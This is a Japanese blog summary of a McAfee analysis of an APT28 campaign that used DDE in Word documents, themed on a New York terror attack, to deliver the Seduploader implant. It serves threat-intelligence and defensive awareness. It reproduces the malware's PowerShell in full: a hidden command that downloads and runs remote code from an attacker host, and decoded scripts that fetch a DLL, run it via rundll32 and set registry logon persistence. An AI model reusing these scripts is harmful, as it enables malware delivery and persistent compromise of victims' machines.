元記事タイトル: Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack (McAfee)
元記事URL: https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/

抄訳になりますです。

 

5行で言うと

  • McAfeeのアナリストによると、APT28がはじめてDDE(Dynamic Data Exchange)を使ったWord文書を使用して活動している
  • APT28がDDEを使うのは初めてと思われる
  • DDEとPowerShellを組み合わせると、被攻撃者のシステムで任意のコードが実行されてしまう
  • マクロが無効になっていても関係ない(実行できてしまう) ※これが特に問題だと言われ話題になっている
  • APT28はいくつかのテーマについてフォーカス(利用)しているが、今回はニューヨークでのテロリストによる攻撃に関連すると見せかけたファイルを使用している

DDEによるコードが埋め込まれたWord文書の概要

  • 文書自体は空(から)で、一度開くと制御サーバーと通信をし、第一段階のマルウェア Seduploader をダウンロードする
  • この文書ではDDEを利用したPowerShellのコマンドを2つ実行する
  • Seduploaderの配布に使用されているドメインはSeduploaderが作成された11日前の10月19日

Word文書の詳細

  • Filename: IsisAttackInNewYork.docx
  • Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e
  • Creation date: 2017-10-27T22:23:00Z
  • 1つ目のPowerShellコマンドは以下の通り(Docxに埋め込まれている)
C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘hxxp://netmediaresources[.]com/config.txt’);powershell -enc $e #.EXE
  • 2つ目は1つ目のコマンド無いでダウンロードしているconfig.txt内にBase64エンコードされた状態。デコードしたものが以下の通り。
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+”\vms.dll”);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile(“hxxp://netmediaresources[.]com/media/resource/vms.dll “,$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+”\System32\rundll32.exe”;
$p_a=$p+”,#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+”\vms.bat”);
$text=’set inst_pck = “%ALLUSERSPROFILE%\vms.dll”‘+”`r`n”+’if NOT exist %inst_pck % (exit)’+”`r`n”+’start rundll32.exe %inst_pck %,#1’
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path ‘HKCU:\Environment’ -Force | Out-Null;
New-ItemProperty -Path ‘HKCU:\Environment’ -Name ‘UserInitMprLogonScript’ -Value “$p_bat” -PropertyType String -Force | Out-Null;
}
  • そして下記URLからSeduploaderをダウンロードする
hxxp://netmediaresources[.]com/media/resource/vms.dll

Seduploaderについて

  • Filename: vms.dll
  • Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7
  • Compile date: 2017-10-31 20:11:10
  • Control server: webviewres[.]net
  • 本Word文書ではまず、調査用(first-stage reconnaissance implant)のSeduploaderをダウンロードし、感染したホストの基本情報を制御サーバーに送信する
  • 対象システムが狙っていたものであれば、X-AgentまたはSedrecoのインストールへ進む
  • APT28が第一段階のペイロードとしてSeduploaderを使用するのはここ数年でみてよくあること
  • 今回のSeduploaderも、以前に使われたSeduploaderと同じものであるようだ

制御サーバードメインについて

  • 制御サーバーのドメインは webviewres[.]net に紐づいており、過去のAPT28のやり方と同様いたって問題ないように見せかけるドメイン登録テクニックを使っている
  • このドメインは10月25日に登録されており、その数日後にペイロードとWord文書が作成された
  • ドメインがはじめてアクティブになったのは10月29日で、この日付は実にSeduploaderがコンパイルされたほんの数日前である
  • ns1.njal[.]laとns2.njal[.]laのネームサーバーに登録されており現在185.216.35[.]26に解決している

さらなる調査で下記のサンプルも発見

  • Filename: secnt.dll
  • Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e
  • Compile date: 2017-10-30 23:53:02
  • Control server: satellitedeluxpanorama[.]com. (上記と同じネームサーバーを使用)
  • 同じテクニック、ペイロードを使用しているので、これも同じキャンペーンのものと思われる
  • 11月5日現在、secnt.dllが使用するドメインsatellitedeluxpanorama[.]com89.34.111[.]160に解決する
  • 元ファイル名 SaberGuardian2017.docxsecnt.dll(Seduploaderペイロード)をダウンロードする
  • 10月27日にWord文書が作成され、hxxp://sendmevideo[.]com/SaberGuardian2017.docx からダウンロードさせる
  • SaberGuardian2017.docxは sendmevideo[.]org/dh2025e/eh.dll に通信を行い Seduploaderをダウンロードする
  • この文書おに埋め込まれているPowerShellコマンドは以下の通り
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+”\mvdrt.dll”);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile(“http://sendmevideo[.]org/dh2025e/eh.dll”,$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+”\System32\rundll32.exe”;
$p_a=$p+”,#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+”\mvdrt.bat”);
$text=’set inst_pck = “%ALLUSERSPROFILE%\mvdrt.dll”‘+”`r`n”+’if NOT exist %inst_pck % (exit)’+”`r`n”+’start rundll32.exe %inst_pck %,#1’
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path ‘HKCU:\Environment’ -Force | Out-Null;
New-ItemProperty -Path ‘HKCU:\Environment’ -Name ‘UserInitMprLogonScript’ -Value “$p_bat” -PropertyType String -Force | Out-Null;
}
  • vms.dllのファイルの中身は、secnt.dllのファイルの中身と99%一致しているため同じキャンペーンとほぼ言い切れる
  • 他にもサイバーカンファレンス「Cy Con U.S.」を模したキャンペーンで使われたものとも99%同じである
  • 違いはサイバーカンファレンス Cy Con U.S. を模したキャンペーンではVBAスクリプトの実行、今回のテロを模したものはDDEでPowerShell実行、という部分だけである
  • APT28は新しいエクスプロイテーション手法も積極的に活用している
  • Cy Con U.S.ではVBSを使用したキャンペーンが広く知れてしまったため、ネットワーク防御をバイパスするためDDEテクニックを使ったのだろう

IoCは元サイトに記載があるので転記しません。(日本国内では観測されないだろうけども。)

 

 

結論: DDE新時代の幕開け